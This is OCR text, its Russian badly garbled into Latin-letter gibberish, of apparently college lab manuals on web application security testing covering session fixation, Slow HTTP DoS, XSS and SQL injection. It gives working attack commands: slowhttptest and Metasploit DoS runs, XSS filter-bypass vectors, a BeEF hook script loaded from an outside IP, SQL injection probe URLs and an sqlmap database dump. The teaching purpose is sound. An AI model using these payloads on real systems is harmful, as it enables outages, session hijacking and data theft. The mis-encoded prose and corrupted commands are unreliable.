Hlar 4. IlpoBepuTh aHHYIHPYEMOCTh CecCMU Ha cepBepHOil ctopone. Coxpanuts Cookie B BeO-
Opay3epe (MokHOMCHONB30BaTh  pacmupenne  ExportCookies), BBIATH U3  MIPUIIOKEHUS.
WmnoptupoBath coxpaneHHble paHee Cookie B Opay3ep (MOXHO HCIOJIB30BaTh pPACHIMPCHUE
ImportCookies). Ilepeiitu mo mr0boMy agpecy BeO-TpuIoKeHUs. ECIU BB MONAIACTEe B MPEABITYITYIO
CEeCCHIO, TO 3TO O3HAYAEeT, YTO aHHYJIMPOBAHUE CECCHUU TMPOHUCXOIMT TOJIBKO Ha KimeHTe. [IpoBepurts,
YTO TNOJIb30BATENb MOXKET 3aBEPILIMTh CBOIO CECCHIO B JIFOOOH MOMEHT BpPEMEHM — KaKias CTpaHUIa,
JOCTYMHAsI MOCJe ayTeHTU(UKAINK, CONEPKUT CChUIKY THUMa «Signout», MO3BOJSIONIYIO 3aBEPIIUTH
ceccuto. [IpoBepuTh, Kakre MEXaHNU3MBbI TAMAayTOB peaTM30BaHbI BBEO-TTPHUIIOKECHHN.

[ITar 5. [IpoBepUTh BO3MOKHOCTh BBITIOJIHEHUS ATAKW THIIA
«Pukcanus ceccun». st 3TOro MpoBEepUTH HAJIMUKE CIEAYIOIIEr0 HEAOCTaTKa: BEO-TPUIIOKEHUE He
OOHOBJISIET CECCUOHHBIN MAEHTHU(PHUKATOP, OTIPABIECHHBINH Opay3epoM MOJIb30BaTeNsl, MOCIE YCIEeITHON
ayreHTHU(UKanuu nocienHero. OTHpaBUTH 3alpoc BeO- MPHUIOKEHHIO M IOJYYUTh CECCHOHHBIN

uaentuduxarop B Cookie:

GET/HTTP/1.1
Host: www.test.app.com
\r\in

HOJ'IyLII/ITL " NpOaHaJIM3UPOBATH OTBCT

HTTP/1.1 200 OK
Date: Wed, 14 Aug 2008 08:45:11 GMT

Server: IBM_HTTP_Server
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Set-Cookie: ID=d8eyYq3L0z2fggl0m4v; Path=/; secure

AyTeHTU(PUIIUPOBATHCS, UCIOJIB3YS 3aMPOC C MOIYYSHHBIM HIeH- TUhuKaTopom ID:

POST https://www.test.app.com/auth HTTP/1.1 Host: www.test.app.com
Cookie: ID=d8eyY(q3L0z2fgql0m4v
\r\n user=test&password=2z123456
Ecnu ayreHTH(UKANS MTPOIUIA YCIICITHO, TO MPUIOKECHHUE YSI3BUMO K
aTake UKCaIliu CECCHH.
JomnonnurenbHo yOeauTbcs, 4TO UASHTHU(UKATOp ceccuu mepenaerca Toilbko B Cookie u He
packpbIBaeTcs B Jior-(aiinax, coodmenusx o6 ommobkax, URL u T.1.
[ar 7. IIpoBepuTh, YTO HISHTHU(PUKATOP CECCHH MEHSICTCS IIOCJIC IMOBTOPHOW ayTEeHTHU(UKAIUH,
CMEHBI IApOJIsl, POJIU U T. 1.
[ar 8. [IpoBepuTh, UTO BEO-MPUIOKEHUE HE TO3BOJISET UMETh JBE OMHAKOBBIE CECCUU C JIBYX

Pa3HbIX Y3JIOB CCTH.

Bonpocsl u 3axaHus

1. Ilpemoxuth crieHapuil aTaky, MCIOJIb3YIOIINUNA HEJOCTATOK aH- HYJIUPOBAaHUS CECCUU TOJBKO
Ha KJINEHTCKON CTOPOHE BEO- MPUIIOKEHUS.

2. HUcnonw3ys nouckoBble cuctembl (Google, Shodan), HaliTu BeO- MPHUIIOKEHUS C MEXAaHU3MOM
URLRewriting.

3. Hanucatps cuenapuii JavaScript, ycTaHaBIMBArOIIMNA WM CUUTHI- BAIOUIMHA HJIEHTU(UKATOP

CCCCHUHIIOTIB30BAaTCIIA.

®dopma npeacTaBiieHUs pe3yJbTara:
[IpenocTaBUTh CKPUIIT 3aJaHUM

Kpurepun onenkn:

Onenka "5" craBuTcs: Bcs paboTa BbIoJHEHA 0€301IMO00YHO U HET UCIPABICHUII;
Onenka "4" ctaBUTCA: JONMYLIEHBI 1-2 BRIYUCIUTEIbHBIE OIIMOKH.

Orenka "3" craBUTCA: TOMYIICHBI OIIUOKK B XOJI€ PEIICHH 3aa4d IPH MPaBUILHOM BBITIOIHEHUU
BCEX OCTaJbHBIX 3aJIaHUN WM JOMYIIEHBI 3-4 BBIYMCIUTENIBHBIE OIIMOKH, MPH ATOM XOJ aHaIM3a

JOJDKEH OBITh BEPHBIM.

Onenka "2" cTaBUTCS: [JOMYIICHBI OMMOKM B XOJAE pEIICHUs 3aadyd W XOTs OBl OfHa
BBIYHMCIIUTENbHAS OIMKMOKA WJIM TPH aHAIW3E W MPUMEPOB JOMYIIEHO Ooyiee 5 BBIUUCIUTEIBHBIX

OoIIn0oK.
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MJIK 09.03 OBECITEYEHUE BE3OITACHOCTH BEB-ITPUJIOXKEHUI
Tewma 3.1 TexHomoruu odbecrniedeHust 6€30MaCHOCTH BeO — MPHIIOKEHUI

JlaGoparopHoe 3ansiTue Ne 2
«TecTupoBaHue HA YCTOHYUBOCTH K aTAKaAM 0TKAa3a B 00CJIy’KMBAHUI)

Hesanb padoTsi
Llenbto abopaTopHOil paboOTHI sBIsETCS OOyYyeHUE METOJaM M CpPEICTBAM TECTHPOBAHHS BeO-

IPUJIOKEHUI Ha YCTOMYMBOCTh K aTakaM oTKa3a B oOciyxuBaHuu(DoS-aTakam).

Boinosinus pa6ory, Bel Oynere:
ymembw:

V35. ocymecTBIATh ayAUT O€30IaCHOCTH BEO-TIPUIIOKEHUIA;

VY01.2 ananu3upoBath 3aaa4y W/Win NpoOaeMy U BbIIECIATh €€ COCTaBHbIE YaCTH;

Y02.4 cTpyKTypHpOBaTh MOITYIaeMyI0 HH(OPMAIIHIO;,

VY03.2 npuMeHsITh COBPEMEHHYIO HayYHYIO TPO(PECCHOHATBHYIO TEPMUHOJIOTHIO;

VY09.1 npumeHATh cpeacTBa MH(POPMALIMOHHBIX TEXHOJIOTUH JUIsl peleHHsl Mpo(pecCHOHATbHBIX
3aja4;

V09.2 ucnonp3oBaTh COBPEMEHHOE MPOTPAMMHOE 00€CTICUCHNUE;

MarepuanabHoe obecnedyenne:

[TK,rexcToBbIil penaktop biaokHOT,0pay3ep

3aganue:
BbInmonHuTE TECTHMpOBaHME YCTOHUMBOCTH BeO-TpuiIokeHusWWW.test.app.comk DoS-arakam Ha

ypoBHe npotokosia HTTP

Kparkue TeopeTrnueckue cBeIeHUs

Llenbto peanuzanmuu DoS-aTaku siBiseTcsl HapylIeHUe JOCTYIMHOCTH BEO-TIPUIIOKEHUS. DTO MOXKET
ObITH JOCTUTHYTO IyTeM DoS-araku Ha kaHan CBs3HM, IPOrpaMMHYIO Iu1aTdopMy BeO-cepBepa WM Ha
caMo BeO-TIPUIIOKCHHUE.

Tpagunmonno DoS-ataku sBISIOTCS CETEBBIMH (HMCIOJIB3YIOT HEJAOCTATKU CETEBBIX TEXHOJIOTUMN) U
MOTYT OBbITh KJIaCCU(PHUIMPOBaHEI 10 ypoBHAM Mozaenu ISO/OSI. Hampumep, ataku ICMP Flood (L3) u
DNS/NTP Amplification (L7) mpuBoasT k oTka3zy kaHana cBsi3u, a araku PingofDeath (L3), SYN
Flood (L4), SSL RenegotiationDoS
(L5/L6), HTTP Flood (L7), Slow HTTP (L7) Bo3ameiicTByroT Ha Mmiatopmy BeO-TIPUIOKEHUS

(oneparroHHast cuctema, Be0-cepBep, GpIUMBOPK U T.1.).
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Jist  gocTKeHHsT OTKaza B OOCITY)KMBAaHMM C TIOMOIIBIO aTak MNpHUKIagHOTO YypoBHs (L7)
aTaKyIoOIIEeMy MOXET MOTPeOOBaThCs CYIIECTBEHHO MEHbIIee KOJIMYECTBO pecypcoB. Hampumep, ecnu
s yenemHon peanusanus atakk SYN Flood ona momkna ObiTh pacmpenenenHod (DDoS) wu
UCIIOJNIb30BaTh OOTHET, TO JuIsl peanu3anuu atak kiacca Slow HTTP DoS (Slowloris, Slow HTTP Post,
Slow HTTPRead) 00bI4HO 10CTaTOYHO OAHOTO KOoMIbioTepa [10 —13].

Bmecre ¢ Tem nans BeO-IpuiIOkKEHHH Takke xapakTepHbl DoS-aTaku ypoBHS HpUIIOKEHUS,
BO3MOJXKHBIE U3-3a HAJIMUMSI ysA3BUMOCTeH B ero koze [9]. Hanpumep, BO3MOXKHOCTh MPOBEACHUS aTaKU
tuna SQL injection MOXET MO3BOJIUTH 3J0YMBIIUIEHHUKY YAATUTh 0a3y JaHHBIX C YYETHBIMU
3aMuCsSIMH TIOJh30BaTeNIel WM BBIMONHUTH 3ampoc Buaa selectbenchmark(100000000, now()) mist

HN3pacxoJ0BaHUuA peCypCOB CUCTCMBI. Taxxe NpuMepaM aTak yYpOBHS IPHUIIOKCHUS SABJIIFOTCA aTaKH

XML BillionLaughs (XML Bomb), XML QuadraticBlowupAttack, ZIP ofDeath (ZIP Bomb).

ITocsenoBaTeIbHOCTH JEHCTBHI
Hlar 1.  VYcranoBute  mnporpammy  slowhttptest,  goctymnyro no  URL  Buga
https://code.google.com/p/slowhttptest. M3yunte nokyMeHTauuio. 3almyCTHTh CETE€BOW aHaIM3aTop
Wireshark.

[Iar 2. Ha TectoBOM cTeHie, IMYyIUpPYIOIIEM padoTy BeO-cepBepa WWW.test.app.Com, yCTaHOBUTH U
BBINOJIHUTH 0a30Bble HacTpoilku ansi BeO-cepBepoB Apache, Nginx u IIS. 3amyctuts BeG-cepBep
Apache.

[Har 3. 3anycTuTh B OTHOIIEHUH BeO-cepBepa ataky Slowloris, mpocMOTpeTh TPaCCUPOBKY
COGIMHEHUS, POBEPHTH JIOCTYITHOCTh BEO- cepBepa ¢ MOMOIIBI0 TPOM3BOIBLHOTO Opay3epa:

# slownhttptest -H -c 3000 -r 3000 -i 50 -1 6000

—Uu http://www.test.app.com

[TpoBecT HECKOJIBKO TECTOB C pa3lMYHBIMU Mapamerpamu. llocTpouThs rpaduku cocTosHUsS BeO-
cepsepa.
lar 4. 3anmyctuth B oTHOIIEHNH BeO-cepBepa ataky Slow HTTP POST, nmpocMoTpeTs TpacCUpOBKY

COEIMHEHUS, IPOBEPUTH JIOCTYITHOCTh BeO-cepBepa ¢ MOMOIIBIO TPOU3BOJILHOTO Opaysepa:

# slowhttptest -B -c 3000 -r 3000 -i 50 -1 6000

—U http://www.test.app.com

[TpoBecTH HECKOJIBKO TECTOB C Pa3lIMYHBIMU mNapamerpamu. [locTpouTh rpaduku cocTosHUS BeO-

cepsepa.
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Hlar 5. 3anycTtuth B oTHOWIEHMHM BeO-cepBepa aTaky SlowRead, BeIOpaB (aiin mocraroyHOro
pa3Mepa, MPOCMOTPETh TPACCUPOBKY COCAMHEHHMS, IIPOBEPUTH JOCTYITHOCTH BeO-cepBepa ¢ MOMOIIBIO

MIPOU3BOJILHOTO Opay3epa:

# slowhttptest -X -c 3000 -r 3000 -1 6000 -k 5 -n50
-w 1 -y 2 -z 1 —uhttp://www.test.app.com/bigauth.js

[IpoBecTr HECKOIBKO TECTOB C pa3IMYHBIMU napamerpamu. [loctpouts rpaduku cocrostaus Be6-
cepsepa.
[ar 6. OctanoBuTh cepBep Apache. 3amycTuts cepBep Nginx.
[Tponenates npeapiIyIIKe Iarkd B OTHOIIEHUHU cepBepa Nginx.
Hlar 7. OcranoButs cepBep Nginx. 3amyctuth cepsep 1IS. [IpoaenaTs npenpimymiye mark B
oTHoleHuu cepsepa IIS.
[ar 8. B orHomenuu cepeepa Apache Boimonuuth araky ApacheRangeHeader. [IpoananusupoBath

PE3yIbTaThl. BreimonHuTts KOMaHy

# slowhttptest -R -u http://www.test.app.com -t GET
-¢ 1000 -a 10 -b 3000 -r 500

Boinonnute atraky ApacheRangeHeader ¢ ucnonszoBanuem MetasploitFramework:
# msfconsole

> useauxiliary/dos/http/apache_range dos

\%

showoptions

> set RHOSTSwww.test.app.com
> set RPORT80

> set RLIMIT100

> set THREADS3

> run

Bonpoce!l u 3aganus
1. Kak MO>XHO TI0 KOCBEHHBIM MTPU3HAKAM OTPEICIUTh YA3BUMOCTh BeO-CepBepa K aTakaM THITa
Slow HTTPDoS?
2. PeanmuzoBaTh MexaHM3MBI 3alTUTHI JJ1s1 BeO-cepepa Apache ot atak Slow HTTPDoS.

3. Peayim3oBaTh ¥ IpOTECTUPOBAThH BEO-TIPUIIOKEHHE, YsA3BUMOE K aTake XMLBomb.
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dopma npeacTaBjieHus pe3yJabTara:
[IpenocTaBUTh CKpUNT 3aJJaHUI

Kpurepum ouenku:
Onenka "5" craBUTCS: BCS paboTa BBITOTHEHA 0€30IMIMO0YHO U HET UCIIPABIICHHI;
Onenka "4" craBUTCS: AOMYIICHBI 1-2 BBIYUCITUTEIBHBIC OIIHOKH.

Orenka "3" cTaBUTCS: TOMYIIEHB! OITMOKH B XO/I€ PEIICHUS 3a/1a4H ITPH MTPABUILHOM BBIITOJTHEHUN
BCEX OCTAJBHBIX 3aJaHUIl WM JOMYLICHHl 3-4 BBIYMCIMTENbHBIC OUIMOKH, NMPH 3TOM XOJ aHaIn3a

JIOJKEH OBITH BEPHBIM.

Onenka "2" crTaBHUTCS: MONYIICHBI OMMOKK B XOJ€ pEHICHWS 3aJa4d M XOTsS Obl OjHa
BBIUMCIIMTENbHAS OMIMOKA WM TPH aHaIW3e W TPUMEPOB JOMYIICHO OoJjiee 5 BBIYMCIUTEIBHBIX

o1unooK.
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MJIK 09.03 OBECITEYEHUE BE3OITACHOCTH BEB-ITPUJIOXKEHUI
Tewma 3.1 TexHomoruu odbecrniedeHust 6€30MaCHOCTH BeO — MPHIIOKEHUI

JlaGoparopHoe 3ansiTue Ne 3
«Ilonck yszBumocTei kK atakaMm XSS»

Hesanb padoTsi

[lenpro mabopaTopHOi pabOTHI SBISETCS OOYYCHHE METOJAaM M CPEICTBAM HICHTU(DUKAIUU H
AKCIUTyaTalluHu ySI3BUMOCTEH BeO- MPUIIOKEHUH K aTakam XSS

Boinosnus padory, Bel Oyaere:

ymemb:

VY35. ocymecTBIsATh AyAUT 0€301MaCHOCTH BEO-TIPHIIOKCHHUI;

Y01.2 aHanu3upoBath 33a9y U/WIKA TPOOJIEMY U BBICISATE €€ COCTaBHBIC YaCTH;

Y02.4 cTpyKTypupOBaTh MOIy4aeMyro HH(HOPMAIIUIO;

Y03.2 npuMeHsITh COBPEMEHHYIO HAYYHYIO MPO(ECCHOHAITBHYIO TEPMUHOJIOTHIO;

Y09.1 npumensTh cpeacTBa HHGPOPMAIIMOHHBIX TEXHOJIOTHH JJI perIeHus Tpo(ecCHOHaTbHBIX
3az1ay;

VY09.2 ucnonp30BaTh COBpEMEHHOE MTPOTrPAMMHOE 00ECTIeUCHUE;

MaTeplflaJ'll)HOC o0ecneyeHnue:

[TK,rexcToBsIif penaktop biokHoT,0pay3ep

3amanmue:

BbInonHUTE MAEHTU(UKALMIO U SKCILTyaTalUIo yI3BUMOCTEN K atakaM XSS

Kpatkue TeopeTnueckue cBeeHHs

Artaka Cross-SiteScripting (XSS) — 310 ataka Ha BeO-PHIIOKEHHE, UCIONB3YIOIIAas HEJOCTATKH
HEeIMpaBUILHON 00paOOTKHM JAHHBIX W MTO3BOJISIONIAS BHITIONHUTE MPOU3BOJIBHBIN crieHapwii (JavaScript,
VBScript) B koHTEeKCTE HCTOYHUKA (Origin) yA3BUMOTrO BeO- MPUIIOKEHUSI.

Ataku XSS kinaccu(uIUpylOTCs MO BEKTOPY U croco0y Bo3zaeicTBHs. 1o BekTOpy BO3JeHCTBHA
ataku XSS ObBator orpakeHHbiMH (reflected), ycroitumBbIMH (persistent) U OCHOBaHHBIMH Ha
obbexkTHOM Monenu nokymeHTa (DOM-based). Ilo BekTopy arakum XSS gemsiTcsi Ha aKTUBHBIE U
MIACCHBHEIE.

VYcroitunBas ataka XSS — 310 XSS aTaka, B pe3ynbTare KOTOPOW BBEAECHHBIHN 310yMBIIIJIEHHUKOM
KOJI COXpaHsieTcs Ha BeO-cepBepe M BO3BpaIlaeTCs MOJb30BATENI0 B 3alIpOCe HE COZIEpIKAIIeM BEKTOP

aTaKu.
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OtpakenHas ataka XSS — XSS araka, B pe3ysnbTare KOTOPOH KOJI, BBEIEHHBIN 3JI0yMBIIIJIEHHUKOM,
nepesaeTcs Moab30BaTelNo B OTBETE Ha TOT e 3alpoc, B KOTOPOM MepeaaH BEKTOP aTakH.

Ataka XSS, HaszpiBaeTcss DOM-based, ecnu Koj 3JI0yMBIIUICHHMKA MOXKET OBITh BBITIOJIHEH B
Opay3epe moJib3oBarens 6e3 OTIPABKH 3ampoca Ha CepBeEp BEO-TIPHIIOKEHUS.

B pesynpraTte ycneumHoi peanuzanuy ataku XSS 3I0yMBIIIJIEHHUK MOXET BBIIOJIHUTH, HAIIPUMED,
clenyIolre AeCTBUS:

— IepeHanpaBUTh MOJIL30BATEINS Ha JTI0O00HBEO-CAT;

— TMOJIYYHUTbh ayTeHTU(UKAIIMOHHBIC JaHHBIE TIOJIB30BaTEN, Tiepena- romuecs BCookie;

— TOJIYYHTb JTFOOBIC JaHHBIC, K KOTOPBIM HMEET JOCTYI KIIMEHTCKAsl YaCThBEO-TIPHIIOKCHUS;
— TMOJIYYHUTb JOCTYI K BHYTPEHHEH CETUIOIB30BATENS;

— BeIIOJHUTE Deface BeO-calita UT. 1.

B oOmemupoBoii TMpakTUKE TECTUPOBAHMS 3alIMINEHHOCTH BEO- TPUIOKCHWA B KadyecTBE
JIOKA3aTelIbCTBA YSA3BUMOCTH NPWIOKEHHUS K aTake XSS MPUHATO JEMOHCTPUPOBATH BO3MOKHOCTH
BbInoHeHus JavaScript-kona Buaa alert(1), prompt(/XSS/), confirm(0) u 1.1

[Tpu TecTUpOBaHUU HANUYMS YSI3BUMOCTH K arakam XSS Ba)KHO OMPEIENSATh KOHTEKCT, B KOTOPBIH
BBIBOATCS naHHble. CymiecTByroT cienyromue Buabl kontekctoB: HTML, SCRIPT, STYLE, URL u

aT- puOyTHbIH [16]. Huxe npuBeaens! npuMepsl XSS-BEKTOPOB ISl KaX- J0T0 U3 KOHTEKCTOB:

<h1>Hello,<img/src=1 onerror=prompt(0)></h1>
<script>var name=";alert(1);";</script>
<ahref="javascript:alert&lpar;1rpar;">ClickMe</a>

<div class=""onmouseover="alert(1):">...</div>

<div syle="width:expre/**/ssion(alert(1))">...</div>

ITocsenoBaTeIbHOCTD ACHCTBHI
[lar 1. Ckauatp o00pa3 «WebForPentesters» c¢ BeG-caiita Www.pentesterlab.com. Co3znate
BUPTYaJIbHYIO MallIMHY. 3arpy3uThes ¢ JUcka. B Opay3epe OTKpHITh BEO-TIPUIIOKEHHUE.
Hlar 2. [epeiiTi no cebuike «XSS — Example 1». [Ipoananu3upoBaTh JOTHKY (yHKIIMOHUPOBAHHUS
BeO-TipmwitokeHuss. OnpenenuTh KOHTEKCT BO3MOXKHOW artaku XSS. B  kadecTBe mnepeMeHHOU
NnameBBECTH BEKTOP

<script>alert(1)</script>

[Iar 3. Iepetitunocceiike «XSS — Example 2». [Ipoananu3upoBaTh JOTUKY ()YHKIIHOHUPOBAHHS
BeO-ipwitokeHuss. OnpenenuTh KOHTEKCT BO3MOXKHOM artaku XSS. B  kadecTBe mnepeMeHHOU

NameBBECTH BEKTOP
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<script>alert(1)</script>

Y6enutbes, 4To coBo scriptpunbTpyercs. BeectuBekTop

<ScRipT>alert(1)</sCrlpT>

lar 4. Iepeiiti no cebuike «XSS — Example 3». [Ipoananu3upoBaTh JOTHKY () yHKIIHOHUPOBAHUS
BeO-npunoxkenus. Onpenenuth KOHTEKCT BO3MOXXKHOM arakm XSS. B kauecTBe mepeMeHHOU
NameBBECTH BEKTOP

<script>alert(1)</script>

Yo6enuTbes, 9To CI0BO <script>BbIpe3aercs. BBecTuBekTop

<scr<script>ipt>alert(1)</s</script>cript>

Hlar 5. [epetiTi mo cepuike «XSS — Example 4». [Ipoananu3upoBarh JOrUKy GyHKIHMOHUPOBAHUS
BeO-TipmwiiokeHuss. OnpenenuTh KOHTEKCT BO3MOXKHOM artaku XSS. B kadecTBe mnepeMeHHOU
NameBBECTHU BEKTOP

<script>alert(1)</script>

Y0eauTbes, 4To CI0BO <SCript™> BbIpE3aeTcsi KOPPEKTHO. BBeCTUBEKTOP

<img/src=1 onerror=alert(1)>
Hlar 6. IepeiiTi no cebuike «XSS — Example 5». [Ipoananu3upoBath J0ruKy (GyHKIMOHUPOBAHUS
BeO-mipmwiiokeHuss. OnpenenuTh KOHTEKCT BO3MOXKHOM artaku XSS. B kadecTBe mnepeMeHHOU

nameBBECTHU BEKTOpaA

<script>alert(1)</script>

<img/src=1 onerror=alert(1)>

Y6enutbes, uTo c10Bo alert Bepe3aeTcsi KOppekTHO. BBecTuBekTOpa

<img/src=1 onerror=\uO061alert(1)>
<img/src=1 onerror=prompt(1)>

<imgsrc=1 onerror="t=/aler/.source%?2b/t(1)/.source; eval(t)">
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[ar 7. Tlepeiitu mo cchuike «XSS — Example 6». [Ipoananu3zupoBaTs JOTUKY (HYHKIITMOHHPOBAHUS
BeO-nipwitoxkeHuss. OnpenenuTh KOHTEKCT BO3MOXKHOM artaku XSS. B  kadecTBe mnepeMeHHOU

nameBBECTHU BEKTOpa

".alert(1);"

</script><script>alert(1);//

lar 8. [epetiTi mo cebuike «XSS — Example 7». [Ipoananu3upoBaTh JOTHKY () YHKIIHOHUPOBAHUS
BeO-nipmitokeHus. OnpenenuTh KOHTEKCT BO3MOXKHOM araku XSS. B kauecTBe mepemMeHHON name

BBCCTH BCKTOP

";alert(1);"
Yo6emutbes, uro cumBoa " kogupyercss B HTML-cymHocts &quot. B kadecTBe nepeMeHHOM name

BBCCTH BCKTOP

halert(1);'

[Har 9. Ilepeiitu no cebuike «XSS — Example 8». [Ipoananu3upoBarh J0rUKy (pyHKIIMOHUPOBAHUS
BeO-npuiioxkeHusa. OnpenenuTb KOHTEKCT BO3MOXHOM ataku XSS. BBoauMmble AaHHBIE KOAUPYIOTCS
koppekTHO. M3mennuts URL Ha cienyrommi:

xss/example8.php/“onsubmit="alert(1)

Hlar 10. Ilepeiitu mno ccbuike «XSS — Example 9». [IpoaHanu3upoBaTh JIOTHKY
(GyHKIIMOHUPOBaHUS BeO-puiokeHus. OnpeneinuTb KOHTEKCT M THI BO3MOXHOW araku XSS. B
Opaysepe mepeiTH o CChUTKE

xss/example9.php#<script>alert(1)</script>.
Y6enutbcs, uro Hukakoro HTTP-3anpoca He oTmpasisiercs.
[ar 11. 3anyctute cpeny skcmutyaraunn yszBuMmocted BeEF. Ilepeittn mo cceiike «XSS —

Example 1». B kauecTBe 3HAUCHUS napamMeTpa nameBBCCTU BEKTOP

<scriptsrc="http://1.1.1.1:3000/hook.js"></script>
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[lepeiitu B koHconb BeEF, BBectm crammapthHeie soruH u maponb (beef:beef). B pasmene

«OnlineBrowser» nomkeHn ortoOpaxkarbest Bamr Opayzep. Bo Bkimagke «Detailsy mnpocmorpersb

uHopmanuo o Opayse- pe u kommbrorepe. IlepeiitTu Bo Brimanky «Commandsy.

CIICAYIOMUC KOMAaHJbI U IMTPOAHAJIM3UPOBATH MMOJYUCHHBIC PE3YJIbTATHI:

«CreateAlertDialogy;

«Redirect Browser», mnepeHamnpaBuB mojb3oBareis Ha cait http://evil.com;
«Clickjackingy;

«Clippy»;

«FakeNotificationBary;

«GooglePhishingy;

«PrettyTheft»

BOl'IpOCbI H 3a1aHUA

1. BpINONIHUTH BCE 3aJJaHUS 110 OUCKY YSI3BUMOCTEH K arakaMm XSS Ha callTeXSS-

game.appspot.com.

2. BBINONTHUTE HECKOJIBKO 33/1aHUH 110 MOMCKY YA3BUMOCTEH K aTa- KaM XSS Ha

caiiteescape.alf.nu.

BrinonuuTh

3. BbINOSHUTE HECKOJBKO 33JaHUM IO MIOUCKY YA3BUMOCTEH K aTa- kaMm XSS Ha caiiteprompt.ml.

®dopma mpeacTaBiieHus pe3yJbTara:

IIpenocTaBUTh CKpUNT 3aJaHUI

Kpurepun ouenku:

Onenka "5" ctaBUTCA: BCs paboTa BBINOJIHEHA 0€30IIMO0YHO M HET UCIIPABICHUH;

Onenka "4" craBUTCS: JOMYILEHBI 1-2 BEIYUCIUTENbHBIE OIIUOKH.

Onenka "3" craBUTCA: TOMYIIEHBI OIUMOKU B X0/I€ PELICHUS 3a7aui IPU NMPaBUIbLHOM BBITIOJHEHUH

BCE€X OCTaJIbHBIX 32U13HI/II>1 WM JOMYIICHBI 3-4 BLIYUCIIUTEIILHBIE OIHI/I6KI/I, IIpru 3TOM XOJ aHaJIM3a

JOJIKCH OBITh BCPHLIM.

Onenka "2" craBHUTCS: MOMYyIIEHBI OIMMOKKM B XOA€ pEHICHUs 3aJadyd W XOTsS OBl OJHa

BBIYUCIUTEIbHAS OINMOKA WU Ipu aHaJln3C¢ U MNPUMCPOB JOMYIICHO Ooliee 5 BBIYUCIUTEIBHBIX

OLINOOK.
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MJIK 09.03 OBECIIEYEHHWE BE30ITACHOCTH BEB-TTPUJIOXKEHMIA
Tema 3.1 Texnonoruu obecneueHus: 6€30MaCHOCTH BEO — MPHUIOKECHUN

JlabopaTopHoe 3ansitue Ne 4
«ITouck ysi3BuMocTeii k arakam SQL-injection»

e padoTsi
Llenpto maboparopHoit pabOTHI SBIsIETCS OOyYEeHHWE METOJaM M CPEICTBaM HJICHTU(UKANUUA H

OKCIUTyaTaI[K YSI3BUMOCTEH B BeO- MPUIOKCHHX K arakam SQL-injection.

Beimosiaue padory, Bel Oynere:
ymembp:

VY35. ocylecTBIsATh ayAUT 0€30MaCHOCTH BEO-TIPHIIOKEHU;

Y01.2 aHanu3upoBath 33a9y U/WIHA TPOOJIEMY U BBICISATE €€ COCTaBHBIC YaCTH;

Y02.4 cTpyKTypHpOBaTh MOITYIaeMYyI0 HH(OPMAIIHIO;,

VY03.2 npuMeHsITh COBPEMEHHYIO HayYHYIO TPO(PECCHOHATBHYIO TEPMUHOJIOTHIO;

Y09.1 npumeHsTh cpencTBa HHGOPMAIIMOHHBIX TEXHOJIOTHH JIJIs perieHus npodeccnoHalibHbIX
3a/1ay;

¥ 09.2 ucnonp3oBaTh COBPEMEHHOE MPOTPAMMHOE 00ECTICUCHHUE;

MarepuanabHoe obecnedyenne:

[1K,rexcToBbIi penaktop biaokHOT,0pay3ep

3aganue:

BbIMOIHATE HACHTH(PUKAIIUIO U SKCIUTyaTaluio ysi3BUMOCTel k atakam SQL-injection.

KpaTkue TeopeTuyeckue cBeieHUs1

Araka BHenpeHus omeparopoB SQL (SQL-injection) — 3To BHeapeHWE BO BXOJHBIC JaHHBIEC,
oOpabaTbIBaeMble BEO-TIPHIIOKEHUEM, OIIepaTopoB sA3bika SQL.

HeoOxoauMbiM ycroBrueM ys3BUMOCTH K atake SQL-injection siBnsieTcst HeoctaTouHas 00paboTka
BXOJIHBIX HEJIOBEPEHHBIX JaHHBIX MpU GopMUpOBaHUHU BeO-puiioxkeHrneM SQL-3anpocos, 3aBUCSIINX
oT 3TuX AaHHbIX. ATaka SQL-injection MO3BOJNSET 3JIOYMBIIIJICHHUKY MOJYYUTh HEMOCPEICTBEHHBIH
JOCTYM K NaHHBIM yepe3 mexaHu3Mbl CYB]] B 00X0/1 JOTHKH BEO-TIPUITIOKEHUS.

B 3aBucuMocTu ot ucrnonb3dyemoii BeO-mipmioxkenneM CYBJl u ycioBuil BHEIpPEHUS BBIJCISIOT
creayromre pasHoBuaHoctr atak SQL-injection [17]:

— KJIaccudecKas;

— «cnemnasy tunaboolean-based;
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— «caenas» tunatime-based;

error-based;

— BIJIOJKCHHAS;

dbparmMeHTUpOBaHHASI.

PaccmoTpuM  mpumepbl 0a30BBIX TECTOB, OOHAPYKHMBAIOIIUX YA3BUMOCTH IapameTtpa id k
arakeSQL-injection:

— http://www.test.app.com/index?id=1"

— http://www.test.app.com/index?id=1"

— http://www.test.app.com/index?id=1" order by1000
— http://www.test.app.com/index?id=1"--

— http://www.test.app.com/index?id=1'/*

— http://www.test.app.com/index?id=1"#

— http://www.test.app.com/index?id=1 and1=1--

— http://www.test.app.com/index?id=1 and1=2—

— http://www.test.app.com/index?id=1"and'1'="1

— http://www.test.app.com/index?id=1" and'1'="2

ITocTranoBKka 3agaun

ITocenoBaTeIbHOCTH ACHCTBHI

Hlar 1. Ckauatp o00pa3 «WebForPentesters» c¢ BeG-caiita Wwww.pentesterlab.com. Co3znatb
BUPTYaJIbHYIO MalllMHY. 3arpy3UThes ¢ JUcka. B Opay3epe OTKpbITh BEO-TIPUIIOKEHUE.

[lar 2. Ilepeiitumocceuike «SQLinjections — Example 1». IIpoananu3upoBarh JOTHKY
GyHKIMOHMpOBaHUS BeO-mprtokeHus. [locienoBaTelbHO BBECTH CIEYIONIME 3alpochl, oOparias
BHHMaHUE Ha BBIBOJ BEO-TIPUIIOKEHUS, CAENaTh MPEANOI0KEHUE O CTPYKTYpe HCIosib3yeMoroSQL-
3arpoca:

— sqli/examplel.php?name=root’

sqli/examplel.php?name=root"

— sqgli/examplel.php?name=root'%201=1

— sqli/examplel.php?name=root'%201=1#

— sqli/examplel.php?name=root'%201=1%20—

— sqgli/examplel.php?name=root'%201=1%20/*

— sgli/fexamplel.php?name=root'%20'1'="1

— sgli/fexamplel.php?name=root'%20'1'="2

— sgli/fexamplel.php?name=root'%23sqli
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[Tocnennue Tpu 3ampoca MO3BOJISIOT CAENATh BBIBOJ 00 yS3BHUMOCTH MapaMerpa name kK atake SQL-
injection. BBIMOTHUTE CIENYIONTYIO KO- MaH/Y:

# pythonsqglmap.py —pname —dmbs=mysgl —dump

—u http://1P_address/sqli/examplel.php?name=root

[IpocMoTpeTh pe3ynbTaThl pabOThl IPOrPaMMBIL, IIPOCMOTPETH MOy~ YCHHBIE JaHHbIC U3 0a3bl JAHHBIX.

